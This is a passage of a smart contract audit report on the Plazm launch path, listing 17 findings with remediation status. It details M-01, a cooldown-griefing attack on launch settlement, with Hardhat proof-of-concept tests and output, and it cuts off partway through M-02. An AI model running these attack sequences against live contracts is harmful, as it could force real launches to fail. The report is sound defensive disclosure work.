33labs

Plazm

Launch-Path Audit Report

Plazm Launch-Path Security Audit Report

Introduction

33Labs performed a focused review of the Plazm launch path implemented in `BuildTheTech/BackedFund-Contracts`. This report is a separate export of GitHub issues #29 through #45, covering launch settlement, recurring liquidity drips, route capacity, treasury reinvestment, V4 accounting bounds, guardian rotation, sale timing, and creator-supply accounting.

The review identified **17 findings**: **2 Medium**, **11 Low**, and **4 Informational**. Against remediation snapshot `a4dee324e9206e1ddb249ddb3329db9a0712cfc7`, **15 findings are Fixed** and **2 are Partially Mitigated** with documented residual conditions.

Audit Team

Auditor	Role
0x23r0 ↗	Security Researcher
Favour Aniogor ↗	Security Researcher

Disclaimer

This report is a point-in-time security assessment, not a guarantee that the reviewed system is free of vulnerabilities. Findings and remediation dispositions are based on the scoped repository, source issue ledger, reviewer comments, and evidence available at the stated snapshots. Deployment configuration, operational procedures, third-party dependencies, and code changed after the remediation snapshot may introduce additional risk.

About 33Labs

33Labs is an independent smart contract security research and development group with six years of experience and over 40 completed audits. We specialize in building and auditing Solidity, Rust, Move, and DeFi systems. Learn more at 33labs.ai or follow us on X @33labs_.

About the Plazm Launch Path

The reviewed path coordinates permissionless launches whose raised assets are converted or settled through Plazm and related routes, then deployed into locked liquidity and recurring liquidity-drip programs. The scope also includes adjacent treasury reinvestment and project-support paths where the same route-capacity, pricing, lifecycle, and delta-accounting assumptions apply.

Audit Scope

- **Repository:** `BuildTheTech/BackedFund-Contracts`

- **Branch:** `main`
- **Finding baseline:** `213a6dba2e2641804ed56555d4f6f763dbe95200`
- **Remediation snapshot:** `a4dee324e9206e1ddb249ddb3329db9a0712cfc7`
- **Source issues:** #29–#45
- **Issue creation window:** October 19–20, 2026
- **Final review date:** October 22, 2026

The report is limited to the behavior documented by those 17 issues and their directly related launch-path code. It does not reopen or duplicate issues #1–#28 from the broader BackedFund report.

Methodology

The review combined issue-ledger reconstruction, manual source-path analysis, exploit and liveness reasoning, delta/accounting review, route-capacity analysis, lifecycle checks, and remediation reconciliation. Each disposition was checked against the latest reviewer evidence at `a4dee324` rather than inferred from GitHub issue state.

Verification Evidence and Limits

Contracts CI run 39729240593 executed on the exact remediation snapshot. Dependency audit, compilation, release-consistency checks, contract-size checks, dead-code checks, type checking, and the unit-test step passed. Exact production coverage later terminated with exit code 134 after a Node.js heap out-of-memory error; deployment replay, the Base Plazm fork job, and the Base protocol end-to-end job were skipped. Individual issue comments also record targeted unit and Base-fork regressions. This report distinguishes that recorded evidence from an independently rerun full suite and does not claim clean full CI or verified deployment state.

Severity Classification

- **Medium:** credible material loss, prolonged liveness failure, or protocol malfunction under realistic but constrained preconditions.
- **Low:** limited-impact, edge-case, hardening, or constrained liveness issue.
- **Informational:** design, integration, or operational observation with low direct exploit impact.

Findings Summary

ID	Finding	Severity	Status	Source
M-01	A dust DEX settlement chunk restarts the shared cooldown, so one atomic call after finalize can make a full-capacity Built launch miss its 24h settlement window	Medium	Partially Mitigated	#30 ↗
M-02	Drip completion permanently locks unused PLAZM and project tokens returned by addDripLiquidity	Medium	Fixed	#32 ↗
L-01	Reinvestment share above the V3 route capacity reverts claimAndRoute, freezing yield routing until a 7-day strategy change	Low	Fixed	#29 ↗
L-02	Liquidity drip stalls forever when one raw project-token unit costs more ETH than a single capacity-capped conversion	Low	Fixed	#31 ↗

ID	Finding	Severity	Status	Source
L-03	Unfinished drip program is permanently bricked once the LP lock matures and is released	Low	Fixed	#33 ↗
L-04	Drip capacity check counts finite OTC inventory as recurring per-interval capacity	Low	Fixed	#34 ↗
L-05	Built-cap validation does not reserve V4 per-tick liquidity for drip additions	Low	Fixed	#35 ↗
L-06	Full-position LP release reverts once accumulated amounts exceed V4's int128 delta	Low	Partially Mitigated	#36 ↗
L-07	Donation-credited fees make ProjectSupportExecutor liquidity adds revert on a positive delta	Low	Fixed	#38 ↗
L-08	A 1-unit reinvest remainder on a 0%-reinvest Custom strategy reverts the whole yield claim	Low	Fixed	#39 ↗
L-09	A USDC-blocklisted yieldRecipient reverts every claimAndRoute, freezing all yield legs	Low	Fixed	#40 ↗
L-10	Permissionless reinvest swap can be sandwiched inside the 30 bps spot/TWAP band (~0.08% per event on Base)	Low	Fixed	#41 ↗
L-11	The 15% creator cap is measured before settlement burns; padded lpSupply leaves the creator with ~47-64% of supply	Low	Fixed	#44 ↗
I-01	Seed preflight checks liquidity but not V4 int128 currency amounts	Informational	Fixed	#37 ↗
I-02	Rotating the LaunchManager guardian leaves the old key able to pause existing vaults	Informational	Fixed	#42 ↗
I-03	A pause during a sale does not extend endTime, shortening the sale	Informational	Fixed	#43 ↗
I-04	No maximum sale duration lets a creator lock contributions until a far-future endTime	Informational	Fixed	#45 ↗

[M-01] A dust DEX settlement chunk restarts the shared cooldown, so one atomic call after finalize can make a full-capacity Built launch miss its 24h settlement window

Severity: Medium
Source finding: `M-10`
Source issue: #30 ↗
Audited baseline: `213a6dba`
Remediation snapshot: `a4dee324`

Description

Severity	Medium (Impact: Medium, Likelihood: Medium)
Confidence	High (code confirmed, Hardhat PoC passes)
Location	`PlazmLaunchRouter.sol:_executeSettlementChunk` (:338-397, chunk sizing :354, cooldown :362-367, `lastExecution` write :384); same pattern in `BuildAssetLaunchRouter.sol:_executeSettlementChunk` (:343-)
Class	MEVEconomic (V0)
Sources	External finding, verified against commit `213a6db`; strengthened with the atomic first-slot variant
PoC	`test/audit/M10SettlementCooldownGrief.test.ts` (passes)

What's wrong

Converting a Built launch's raise into PLAZM takes several timed DEX purchases, spaced at least six hours apart. Any caller can make a purchase of any size, and even a tiny one restarts the six-hour wait for everyone. Under the default settings, the settlement window holds exactly enough purchase slots for the largest launches the router accepts. An attacker who takes one slot with a dust purchase leaves the settlement unable to finish. Once the window passes, anyone can cancel the launch.

How

1. **Chunk size is caller-chosen.** `_executeSettlementChunk` sets `ethIn = min(pending, maximumChunkETH)` (`:354`), then caps it by guard capacity and the admin cap. There is no lower bound on `ethIn`. The only floor is the executor's `minimumPlazmOut > 0`, which 1e12 wei clears.
2. **Every DEX chunk restarts the shared cooldown.** Any chunk not fully covered by OTC sets `settlement.lastExecution = block.timestamp` (`:384`). The cooldown check at `:362-367` then blocks every DEX chunk for `_dexExecutionInterval`.
3. **The default policy leaves no spare slots.** - With `_maximumDexChunkETH == 0` and a 6h interval, `BuiltRouteCapacity.schedule` returns exactly `SETTLEMENT_WINDOW = 24h` and 4 chunks. - `startSettlement` accepts `initialLiquidityETH <= staged(capacity, 4)`. - The usable DEX slots are therefore t≈0, +6h, +12h and +18h. The slot at +24h equals `settlementCancellationTime`, and `:358` rejects it. - A launch with `3 × capacity < initialLiquidityETH <= 4 × capacity` needs every one of those slots.

4. **The first slot can be taken atomically.** - `LaunchManager.finalizeLaunch` is permissionless (`LaunchManager.sol:485`). - `startSettlement` leaves `lastExecution == 0`, so the first DEX chunk has no cooldown. - An attacker contract calls `finalizeLaunch(id)` and then `executeSettlementChunk(id, 1e12, deadline)` in one transaction. - Slot 0 is spent on dust, and the keeper cannot catch up.
5. **The deadline ends the launch.** After `settlementCancellationTime`, `LaunchManager.cancelUnfinalizedLaunch` (`:704-712`) cancels the settlement and marks the launch failed.

Impact

- **Creator / launch:** a sold-out Built launch fails for good. It can never finalize, and token claims never open. The attacker spends one transaction's gas plus about 1e12 wei of swap input.
- **Contributors:** they get refunds of remaining ETH plus pro-rata PLAZM. For PLAZM bought through the DEX, they absorb the pool fee and up to `maxSlippageBps` (≤1.5%).
- **PoC numbers:** the mock pools give capacity 5,898.5 ETH per chunk, and the launch's initial leg is 20,644.8 ETH (3.5× capacity). One 0.000001 ETH chunk in the start block leaves **2,949.3 ETH (≈14%) unconverted at the deadline**, even though the keeper wins every remaining slot at full capacity. The control test, without the dust chunk, completes in four chunks before the deadline.
- **Smaller launches:** a launch that fits in k ≤ 3 chunks needs the attacker to also win 4 − k later slot openings. Each is a priority-fee race against keepers on Base. Likelihood is lower there, but the cost per race is still dust.
- **Scope notes:**
- Fully OTC-covered chunks skip the cooldown (`:355`, `:363`). Any PLAZM ask that covers the remainder at or above the guarded TWAP price lets a keeper finish immediately. While such inventory exists, the dust chunk also fills by OTC and does not restart the cooldown.
- `protocolAuthority` (2-of-3) can call `setDexSettlementPolicy` to shorten the interval before expiry. That multiplies the slots the attacker must take.
- `extendSettlementWindow` alone does not help, because the attacker keeps taking slots.
- Neither mitigation is automatic. The default configuration ships with zero spare slots.

Severity rationale: - **Impact is Medium:** an irreversible failure of core launch finalization. There is no theft, and refunds are paid. - **Likelihood is Medium:** - On launches above 3× capacity, a single permissionless transaction triggers it, with no repeated races, as long as the attacker wins the finalize transaction. - That configuration is the shipped default. - Smaller launches drop toward Low likelihood.

Proof of Concept

`npx hardhat test test/audit/M10SettlementCooldownGrief.test.ts`

```
[M-10] PoC: dust settlement chunk burns the DEX cooldown
  ✔ control: honest keeper completes the four-chunk settlement inside the 24h window
    capacity per chunk     : 5898.523386274421155105 ETH
    initial liquidity      : 20644.831851960474042867 ETH
    attacker chunk         : 0.000001 ETH
    stranded at deadline   : 2949.261692137210577552 ETH
  ✔ exploit: one dust chunk in the start block makes the settlement unfinishable
```

The test uses the real `PlazmLaunchRouter`, `PlazmV3TwapGuard` and `PlazmV3ConversionExecutor`, built on the existing `PlazmV3Production` mock pools. `startSettlement` and the attacker's chunk are mined in the same block. This stands in for an attacker contract calling `finalizeLaunch` followed by `executeSettlementChunk`.

Test source

```
import { expect } from "chai";
import { ethers, network } from "hardhat";
import { time } from "@nomicfoundation/hardhat-network-helpers";

// [M-10] A dust DEX chunk restarts the shared settlement cooldown. Under the
// default policy (no admin chunk cap, 6h interval) the window is exactly 24h,
// i.e. four DEX slots. A launch sized above 3x capacity needs all four, so one
// dust chunk taken right after settlement starts makes completion impossible.

const WETH = "0x4200000000000000000000000000000000000006";
const ESHARE = "0xb7C10146bA1b618956a38605AB6496523d450871";
const PLAZM = "0xA1FBB38bF486b97108aA87E92008187CA06998f6";
const FEE = 10_000;
const TICK_SPACING = 200;
const INTERVAL = 6 * 60 * 60;
const LAUNCH_ID = 7;

describe("[M-10] PoC: dust settlement chunk burns the DEX cooldown", function () {
  async function fixture() {
    const [deployer, keeper, attacker, guardian] = await ethers.getSigners();
    const managerCaller = await (await ethers.getContractFactory("MockPlazmLaunchManagerCaller")).deploy();
    const launchManager = await ethers.getImpersonatedSigner(await managerCaller.getAddress());
    await network.provider.send("hardhat_setBalance", [
      launchManager.address, ethers.toBeHex(ethers.parseEther("10000000")),
    ]);
    const tokenTemplate = await (await ethers.getContractFactory("MockMintableToken")).deploy("PLAZM", "PLAZM");
    await network.provider.send("hardhat_setCode", [
      PLAZM, await ethers.provider.getCode(await tokenTemplate.getAddress()),
    ]);

    const factory = await (await ethers.getContractFactory("MockUniswapV3Factory")).deploy();
    const firstPool = await (await ethers.getContractFactory("MockUniswapV3OraclePool")).deploy(
      WETH, ESHARE, FEE, TICK_SPACING,
    );
    const secondPool = await (await ethers.getContractFactory("MockUniswapV3OraclePool")).deploy(
      ESHARE, PLAZM, FEE, TICK_SPACING,
    );
    await factory.setPool(WETH, ESHARE, FEE, await firstPool.getAddress());
    await factory.setPool(ESHARE, PLAZM, FEE, await secondPool.getAddress());
    await firstPool.setState(ethers.parseEther("1000000"), 200, 200);
    await firstPool.setTickBitmap(0, 1n);
    await secondPool.setState(ethers.parseEther("1000000"), -200, -200);
    await secondPool.setTickBitmap(0, 1n);

    const guard: any = await (await ethers.getContractFactory("PlazmV3TwapGuard")).deploy(
      await factory.getAddress(), WETH, ESHARE, PLAZM, FEE, FEE,
    );
    const swapRouter: any = await (await ethers.getContractFactory("MockUniswapV3SwapRouter02")).deploy(PLAZM);
    await swapRouter.setOutputPerEth(ethers.parseEther("2"));
    const executor: any = await (await ethers.getContractFactory("PlazmV3ConversionExecutor")).deploy(
      await swapRouter.getAddress(), await guard.getAddress(),
    );
    const drip = await (await ethers.getContractFactory("MockBuiltOnPlazmLiquidityDrip")).deploy();
    const usdGuard = await (await ethers.getContractFactory("MockProjectSupportRouteGuard")).deploy(
      ethers.ZeroAddress, WETH, ESHARE, PLAZM,
    );
    const router: any = await (await ethers.getContractFactory("PlazmLaunchRouter")).deploy(
      launchManager.address, PLAZM, await executor.getAddress(), await guard.getAddress(),
      await drip.getAddress(), await usdGuard.getAddress(), deployer.address, guardian.address,
    );
    await executor.connect(deployer).bindAuthorizedCaller(await router.getAddress());

    // Size the launch so the initial leg needs exactly four DEX purchases:
    // 3x capacity < initialLiquidityETH <= 4x capacity (default 15% drip).
    const capacity: bigint = await guard.maxSafeEthInput(300, 30 * 60);
    const targetInitial = (capacity * 35n) / 10n;
    const totalLiquidityETH = (targetInitial * 10_000n) / 8_500n;
    return { keeper, attacker, launchManager, router, capacity, totalLiquidityETH, routeHash: await guard.approvedRouteHash() };
  }
```

```
async function startSettlement(f: Awaited<ReturnType<typeof fixture>>) {
  await f.router.connect(f.launchManager).startSettlement(
    LAUNCH_ID, f.totalLiquidityETH, 150, INTERVAL, f.routeHash,
    { value: f.totalLiquidityETH + ethers.parseEther("1") },
  );
}

async function keeperChunk(f: Awaited<ReturnType<typeof fixture>>) {
  return f.router.connect(f.keeper).executeSettlementChunk(LAUNCH_ID, 0, (await time.latest()) + 600);
}

it("control: honest keeper completes the four-chunk settlement inside the 24h window", async function () {
  const f = await fixture();
  await startSettlement(f);
  const s = await f.router.getSettlement(LAUNCH_ID);
  expect(s.initialLiquidityETH).to.be.gt(f.capacity * 3n);
  expect(s.initialLiquidityETH).to.be.lte(f.capacity * 4n);
  const deadline = await f.router.settlementCancellationTime(LAUNCH_ID);
  expect(deadline - BigInt(s.startedAt)).to.equal(24n * 3600n);

  for (let i = 0; i < 4; i++) {
    if (i > 0) await time.increaseTo(Number((await f.router.getSettlement(LAUNCH_ID)).lastExecution) + INTERVAL);
    await keeperChunk(f);
  }
  expect((await f.router.getSettlement(LAUNCH_ID)).pendingLiquidityETH).to.equal(0n);
  expect(BigInt(await time.latest())).to.be.lt(deadline);
});

it("exploit: one dust chunk in the start block makes the settlement unfinishable", async function () {
  const f = await fixture();
  const dust = 10n ** 12n; // 0.000001 ETH

  // Attacker lands a dust chunk in the same block that starts settlement
  // (in production: an attacker contract calling the permissionless
  // LaunchManager.finalizeLaunch and then executeSettlementChunk atomically).
  await network.provider.send("evm_setAutomine", [false]);
  await startSettlement(f);
  const attackTx = await f.router.connect(f.attacker).executeSettlementChunk(
    LAUNCH_ID, dust, (await time.latest()) + 600, { gasLimit: 2_000_000 },
  );
  await network.provider.send("evm_mine");
  await network.provider.send("evm_setAutomine", [true]);
  const attackReceipt = await attackTx.wait();
  expect(attackReceipt.status).to.equal(1);

  const s0 = await f.router.getSettlement(LAUNCH_ID);
  expect(s0.initialLiquidityETH - s0.pendingLiquidityETH).to.equal(dust);
  expect(s0.lastExecution).to.equal(s0.startedAt); // cooldown armed by a 1e12-wei purchase
  const deadline = await f.router.settlementCancellationTime(LAUNCH_ID);

  // The keeper's full-capacity chunk is now blocked for six hours.
  await expect(keeperChunk(f)).to.be.revertedWith("PlazmRouter: cooldown");

  // Keeper wins every remaining slot (6h, 12h, 18h) with full-capacity chunks.
  for (let i = 0; i < 3; i++) {
    await time.increaseTo(Number((await f.router.getSettlement(LAUNCH_ID)).lastExecution) + INTERVAL);
    await keeperChunk(f);
  }
  const s1 = await f.router.getSettlement(LAUNCH_ID);
  expect(s1.pendingLiquidityETH).to.be.gt(0n);

  // The fourth slot would open at +24h, exactly the cancellation time.
  const nextSlot = BigInt(s1.lastExecution) + BigInt(INTERVAL);
  expect(nextSlot).to.be.gte(deadline);
  await time.increaseTo(Number(nextSlot));
  await expect(keeperChunk(f)).to.be.revertedWith("PlazmRouter: settlement window elapsed");

  // Settlement can now only be canceled (LaunchManager.cancelUnfinalizedLaunch path).
```

```
    await expect(f.router.connect(f.launchManager).cancelSettlement(LAUNCH_ID))
      .to.emit(f.router, "PlazmSettlementCanceled");
    expect(await f.router.settlementCanceled(LAUNCH_ID)).to.equal(true);

    console.log("      capacity per chunk     :", ethers.formatEther(f.capacity), "ETH");
    console.log("      initial liquidity      :", ethers.formatEther(s0.initialLiquidityETH), "ETH");
    console.log("      attacker chunk         :", ethers.formatEther(dust), "ETH");
    console.log("      stranded at deadline   :", ethers.formatEther(s1.pendingLiquidityETH), "ETH");
  });
});
```

Recommendation

Keep caller-chosen smaller chunks, which the docs present as sandwich protection, but stop sub-scale chunks from restarting the cooldown. Only arm `lastExecution` when the chunk makes real progress: either it is the final remainder, or it is at least a fixed share of the largest chunk allowed right now.

```
uint256 fullChunk = settlement.pendingLiquidityETH;
if (!otcOnly) {
    // capacity / cap already computed above
    fullChunk = Math.min(fullChunk, capacity);
    if (_maximumDexChunkETH > 0) fullChunk = Math.min(fullChunk, _maximumDexChunkETH);
}
...
bool meaningful = ethIn == settlement.pendingLiquidityETH || ethIn * 2 >= fullChunk; // >=50% of allowed chunk
if (!otcOnly && meaningful) settlement.lastExecution = uint64(block.timestamp);
```

Also: - Add at least one spare DEX slot to the default schedule. For example, make `schedule` reserve `chunks + 1` slots even when `cap == 0`, so a single lost slot does not doom the launch. - Apply the same change to `BuildAssetLaunchRouter._executeSettlementChunk`.

Status

Partially Mitigated. Latest reviewer evidence ↗

Reviewed at `a4dee32`: partially mitigated. Agree with @0x23r0; residual confirmed with a PoC.

What the fix closes - A dust chunk no longer uses a slot: a DEX chunk restarts the cooldown only once `cooldownProgressETH >= ceil(fullChunk / 2)`. - `BuiltRouteCapacity.schedule` keeps one spare slot. With the default policy (no admin cap) the window is 24h = four 6h slots, capacity checks rely on three, and the largest opening leg is 3C. A 3.5C leg now reverts at `startSettlement`.

What remains - A half chunk still restarts the cooldown, so each slot an attacker wins does only C/2 of work. - Slot 0 costs nothing: `finalizeLaunch` is permissionless, so the attacker bundles it with a C/2 chunk in one transaction. - Work done in the four slots is `2C + k·C/2`, where k is the number of slots the keeper wins: - opening leg in (2.5C, 3C]: the attacker needs 2 of the 3 remaining slot races; - opening leg in (2C, 2.5C]: it needs all 3. - The attacker pays only gas and priority fees; the chunks spend launch ETH.

PoC (`PlazmLaunchRouter`; `BuildAssetLaunchRouter` has the identical change)

```
capacity C             : 5898.523386274421155105 ETH
opening leg            : 17400.643989509542407559 ETH   (2.95C, accepted)
executed in 4 slots    : 14746.308465686052887764 ETH   (attacker: 0h, 12h, 18h; keeper: 6h)
stranded at deadline   : 2654.335523823489519795 ETH
```

```
next keeper chunk      : reverted "PlazmRouter: settlement window elapsed"
control (attacker wins only slot 0): settlement completes
```

test/audit/M10Round4HalfSlotGrief.test.ts

```
import { expect } from "chai";
import { ethers, network } from "hardhat";
import { time } from "@nomicfoundation/hardhat-network-helpers";

// [M-10] round-4 re-check at a4dee32. A DEX chunk now restarts the shared
// cooldown once it reaches half of the largest allowed chunk, and the default
// schedule keeps one spare slot (3C opening leg, four 6h slots in 24h).
// An attacker who spends each slot it wins on a C/2 chunk still removes C/2
// of settlement work per slot. Slot 0 is free (atomic with finalize), so the
// attacker needs 2 of the 3 remaining slot races to strand a ~3C launch.

const WETH = "0x4200000000000000000000000000000000000006";
const ESHARE = "0xb7C10146bA1b618956a38605AB6496523d450871";
const PLAZM = "0xA1FBB38bF486b97108aA87E92008187CA06998f6";
const FEE = 10_000;
const TICK_SPACING = 200;
const INTERVAL = 6 * 60 * 60;
const LAUNCH_ID = 7;

describe("[M-10] round 4: half-slot chunks still strand a full-capacity settlement", function () {
  async function fixture(initialOverCapacity: [bigint, bigint]) {
    const [deployer, keeper, attacker, guardian] = await ethers.getSigners();
    const managerCaller = await (await ethers.getContractFactory("MockPlazmLaunchManagerCaller")).deploy();
    const launchManager = await ethers.getImpersonatedSigner(await managerCaller.getAddress());
    await network.provider.send("hardhat_setBalance", [
      launchManager.address, ethers.toBeHex(ethers.parseEther("10000000")),
    ]);
    const tokenTemplate = await (await ethers.getContractFactory("MockMintableToken")).deploy("PLAZM", "PLAZM");
    await network.provider.send("hardhat_setCode", [
      PLAZM, await ethers.provider.getCode(await tokenTemplate.getAddress()),
    ]);
    const factory = await (await ethers.getContractFactory("MockUniswapV3Factory")).deploy();
    const firstPool = await (await ethers.getContractFactory("MockUniswapV3OraclePool")).deploy(WETH, ESHARE, FEE, TICK_SPACING);
    const secondPool = await (await ethers.getContractFactory("MockUniswapV3OraclePool")).deploy(ESHARE, PLAZM, FEE, TICK_SPACING);
    await factory.setPool(WETH, ESHARE, FEE, await firstPool.getAddress());
    await factory.setPool(ESHARE, PLAZM, FEE, await secondPool.getAddress());
    await firstPool.setState(ethers.parseEther("1000000"), 200, 200);
    await firstPool.setTickBitmap(0, 1n);
    await secondPool.setState(ethers.parseEther("1000000"), -200, -200);
    await secondPool.setTickBitmap(0, 1n);
    const guard: any = await (await ethers.getContractFactory("PlazmV3TwapGuard")).deploy(
      await factory.getAddress(), WETH, ESHARE, PLAZM, FEE, FEE,
    );
    const swapRouter: any = await (await ethers.getContractFactory("MockUniswapV3SwapRouter02")).deploy(PLAZM);
    await swapRouter.setOutputPerEth(ethers.parseEther("2"));
    const executor: any = await (await ethers.getContractFactory("PlazmV3ConversionExecutor")).deploy(
      await swapRouter.getAddress(), await guard.getAddress(),
    );
    const drip = await (await ethers.getContractFactory("MockBuiltOnPlazmLiquidityDrip")).deploy();
    const usdGuard = await (await ethers.getContractFactory("MockProjectSupportRouteGuard")).deploy(
      ethers.ZeroAddress, WETH, ESHARE, PLAZM,
    );
    const router: any = await (await ethers.getContractFactory("PlazmLaunchRouter")).deploy(
      launchManager.address, PLAZM, await executor.getAddress(), await guard.getAddress(),
      await drip.getAddress(), await usdGuard.getAddress(), deployer.address, guardian.address,
    );
    await executor.connect(deployer).bindAuthorizedCaller(await router.getAddress());

    const capacity: bigint = await guard.maxSafeEthInput(300, 30 * 60);
    const [num, den] = initialOverCapacity;
    const targetInitial = (capacity * num) / den;
    const totalLiquidityETH = (targetInitial * 10_000n) / 8_500n; // default 15% drip
    return { keeper, attacker, launchManager, router, capacity, totalLiquidityETH, routeHash: await guard.approvedRouteHash() };
```

```
  }
  type F = Awaited<ReturnType<typeof fixture>>;
  afterEach(async () => { await network.provider.send("evm_setAutomine", [true]); });

  const start = (f: F) => f.router.connect(f.launchManager).startSettlement(
    LAUNCH_ID, f.totalLiquidityETH, 150, INTERVAL, f.routeHash,
    { value: f.totalLiquidityETH + ethers.parseEther("1") },
  );
  const half = (f: F) => f.capacity - f.capacity / 2n;

  // Mine the attacker's half chunk and the keeper's full chunk in one block,
  // attacker first (higher priority fee). Returns whether the keeper's tx failed.
  async function raceSlot(f: F, attackerWins: boolean) {
    const deadline = (await time.latest()) + 3600;
    await network.provider.send("evm_setAutomine", [false]);
    const first = attackerWins
      ? await f.router.connect(f.attacker).executeSettlementChunk(LAUNCH_ID, half(f), deadline,
          { gasLimit: 2_000_000, maxPriorityFeePerGas: ethers.parseUnits("50", "gwei"), maxFeePerGas: ethers.parseUnits("100",
"gwei") })
      : await f.router.connect(f.keeper).executeSettlementChunk(LAUNCH_ID, 0, deadline,
          { gasLimit: 2_000_000, maxPriorityFeePerGas: ethers.parseUnits("50", "gwei"), maxFeePerGas: ethers.parseUnits("100",
"gwei") });
    const second = attackerWins
      ? await f.router.connect(f.keeper).executeSettlementChunk(LAUNCH_ID, 0, deadline,
          { gasLimit: 2_000_000, maxPriorityFeePerGas: ethers.parseUnits("1", "gwei"), maxFeePerGas: ethers.parseUnits("100",
"gwei") })
      : null;
    await network.provider.send("evm_mine");
    await network.provider.send("evm_setAutomine", [true]);
    expect((await ethers.provider.getTransactionReceipt(first.hash))!.status).to.equal(1);
    if (second) expect((await ethers.provider.getTransactionReceipt(second.hash))!.status).to.equal(0);
  }

  async function nextSlot(f: F) {
    await time.increaseTo(Number((await f.router.getSettlement(LAUNCH_ID)).lastExecution) + INTERVAL);
  }

  it("default schedule: a 3.5C opening leg (accepted pre-fix) is now rejected; 2.95C is accepted", async function () {
    const big = await fixture([35n, 10n]);
    await expect(start(big)).to.be.revertedWith("PlazmRouter: settlement exceeds staged capacity");
    const ok = await fixture([295n, 100n]);
    await start(ok);
    const s = await ok.router.getSettlement(LAUNCH_ID);
    expect(s.initialLiquidityETH).to.be.gt(ok.capacity * 2n + half(ok));
    expect(s.initialLiquidityETH).to.be.lte(ok.capacity * 3n);
    expect((await ok.router.settlementCancellationTime(LAUNCH_ID)) - BigInt(s.startedAt)).to.equal(24n * 3600n);
  });

  it("attacker wins slot 0 (atomic) plus 2 of 3 races: 2.95C settlement misses the window", async function () {
    const f = await fixture([295n, 100n]);

    // Slot 0: settlement start and a half chunk land in the same block.
    await network.provider.send("evm_setAutomine", [false]);
    await start(f);
    const t0 = await f.router.connect(f.attacker).executeSettlementChunk(
      LAUNCH_ID, half(f), (await time.latest()) + 3600, { gasLimit: 2_000_000 },
    );
    await network.provider.send("evm_mine");
    await network.provider.send("evm_setAutomine", [true]);
    expect((await t0.wait())!.status).to.equal(1);
    const s0 = await f.router.getSettlement(LAUNCH_ID);
    expect(s0.lastExecution).to.equal(s0.startedAt); // half chunk restarted the cooldown
    const deadline = await f.router.settlementCancellationTime(LAUNCH_ID);

    await nextSlot(f); await raceSlot(f, false); // 6h: keeper wins, full C
    await nextSlot(f); await raceSlot(f, true);  // 12h: attacker C/2, keeper blocked
    await nextSlot(f); await raceSlot(f, true);  // 18h: attacker C/2, keeper blocked

    const s1 = await f.router.getSettlement(LAUNCH_ID);
```

```
    const executed = s1.initialLiquidityETH - s1.pendingLiquidityETH;
    expect(executed).to.equal(f.capacity + 3n * half(f));
    expect(s1.pendingLiquidityETH).to.be.gt(0n);

    const fifth = BigInt(s1.lastExecution) + BigInt(INTERVAL);
    expect(fifth).to.be.gte(deadline);
    await time.increaseTo(Number(fifth));
    await expect(f.router.connect(f.keeper).executeSettlementChunk(LAUNCH_ID, 0, (await time.latest()) + 600))
      .to.be.revertedWith("PlazmRouter: settlement window elapsed");

    console.log("      capacity C             :", ethers.formatEther(f.capacity), "ETH");
    console.log("      opening leg            :", ethers.formatEther(s1.initialLiquidityETH), "ETH");
    console.log("      executed in 4 slots    :", ethers.formatEther(executed), "ETH");
    console.log("      stranded at deadline   :", ethers.formatEther(s1.pendingLiquidityETH), "ETH");
  });

  it("control: attacker wins only slot 0, keeper wins the rest, settlement completes", async function () {
    const f = await fixture([295n, 100n]);
    await network.provider.send("evm_setAutomine", [false]);
    await start(f);
    await f.router.connect(f.attacker).executeSettlementChunk(LAUNCH_ID, half(f), (await time.latest()) + 3600, { gasLimit:
2_000_000 });
    await network.provider.send("evm_mine");
    await network.provider.send("evm_setAutomine", [true]);
    for (let i = 0; i < 3; i++) { await nextSlot(f); await raceSlot(f, false); }
    expect((await f.router.getSettlement(LAUNCH_ID)).pendingLiquidityETH).to.equal(0n);
  });
});
```

Severity of the residual: Low to Medium. The impact is unchanged (the launch can only be canceled and refunded), but the attacker must win slot races on Base's sequencer, and ProtocolAuthority can still call `extendSettlementWindow` before the deadline.

Suggested fix: make the per-slot budget exact, so a slot is consumed only after a full chunk of work, whoever spends it:

```
uint256 progress = settlement.cooldownProgressETH;
// Remaining work in the current slot. If capacity fell below the progress
// already made, the next chunk (any size) completes the slot.
uint256 slotBudget = fullChunkETH > progress ? fullChunkETH - progress : fullChunkETH;
ethIn = Math.min(ethIn, slotBudget);
// ... execute ...
progress += ethIn;
if (progress >= fullChunkETH || settlement.pendingLiquidityETH == 0) {
    settlement.lastExecution = uint64(block.timestamp);
    progress = 0;
}
settlement.cooldownProgressETH = progress;
```

Callers can still split a slot into smaller chunks, but a slot only closes after a full chunk of DEX input, so a griefer who wins a race does honest work instead of removing it. Same change in `BuildAssetLaunchRouter`.

[M-02] Drip completion permanently locks unused PLAZM and project tokens returned by addDripLiquidity

Severity: Medium
Source finding: `M-11`
Source issue: #32 ↗
Audited baseline: `213a6dba`
Remediation snapshot: `a4dee324`

Description

Severity	Medium (Impact: High, Likelihood: Low–Medium)
Confidence	High (code confirmed, Hardhat PoC passes)
Location	`BuiltOnPlazmLiquidityDrip.sol:executeProgram` (completion :396-404, inactive guard :327); same pattern in `BuildAssetLiquidityDrip.sol:executeProgram` (:333, :398-); excess refund in `LaunchPoolFactory.sol:addDripLiquidity` (:556-559)
Class	DeltaAccounting (V0)
Sources	External finding, verified against commit `213a6db`
PoC	`test/audit/M11DripResidualLock.test.ts` + `contracts/mocks/audit/MockSpotRatioDripPoolFactory.sol` (passes)

What's wrong

Over 30 days, the liquidity drip buys PLAZM with the launch's raise ETH and pairs it with the creator's project tokens in the locked pool. The pool only takes the two assets at its current price, and returns whatever doesn't fit to the drip. When the project token's price moves against PLAZM during the program, the leftover grows with every tranche. The program closes as soon as its ETH is spent. After that, nothing can deploy, withdraw or redirect the leftover PLAZM or project tokens, so they stay locked in the drip forever.

How (mechanism)

`executeProgram` sizes each tranche from a fixed per-ETH token budget (`mulDiv(totalTokens, spentETH, totalETH)`, :354) and the PLAZM bought at market. It then offers `tokenAvailable` / `plazmAvailable` to `LaunchPoolFactory.addDripLiquidity`. That function adds liquidity at the V4 spot ratio and returns any excess of either side to the drip (:556-559). Leftovers carry into the next tranche (:357-358), so they only become a problem at the end. When `remainingETH == 0` (:396), the drip sets **`active = false`** and **`completed = true`**, and `ProgramCompleted` even logs the stranded amounts (`totalTokens - tokenUsed`, `plazmPurchased - plazmUsed`). From then on `executeProgram` reverts with `PlazmDrip: inactive program` (:327). The drip's only outbound token transfers are to the pool factory at init and inside `addDripLiquidity`. No sweep, withdraw or residual-deploy function exists. The factory's spot-vs-TWAP check (`MAX_DRIP_TWAP_DEVIATION_TICKS = 25`, `LaunchPoolFactory.sol:80/540`) only rejects sudden spikes, so a sustained

